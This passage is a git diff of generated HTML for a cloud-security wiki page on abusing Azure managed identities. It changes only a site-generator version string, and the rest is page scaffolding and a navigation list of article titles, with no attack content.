xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/azure/abusing-managed-identities/index.html b/azure/abusing-managed-identities/index.html
index 39788bcc9..b419d2fa3 100644
--- a/azure/abusing-managed-identities/index.html
+++ b/azure/abusing-managed-identities/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Abusing Managed Identities"><link href=https://hackingthe.cloud/azure/abusing-managed-identities/ rel=canonical><link href=../../aws/capture_the_flag/cicdont/ rel=prev><link href=../anonymous-blob-access/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Managed Identities - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Managed Identities - Hacking The Cloud"><meta property=og:description content="Abusing Managed Identities"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/abusing-managed-identities/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Managed Identities - Hacking The Cloud"><meta property=twitter:description content="Abusing Managed Identities"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Abusing Managed Identities"><link href=https://hackingthe.cloud/azure/abusing-managed-identities/ rel=canonical><link href=../../aws/capture_the_flag/cicdont/ rel=prev><link href=../anonymous-blob-access/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Managed Identities - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Managed Identities - Hacking The Cloud"><meta property=og:description content="Abusing Managed Identities"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/abusing-managed-identities/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Managed Identities - Hacking The Cloud"><meta property=twitter:description content="Abusing Managed Identities"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#setup-azure-managed-identity class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Managed Identities </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a 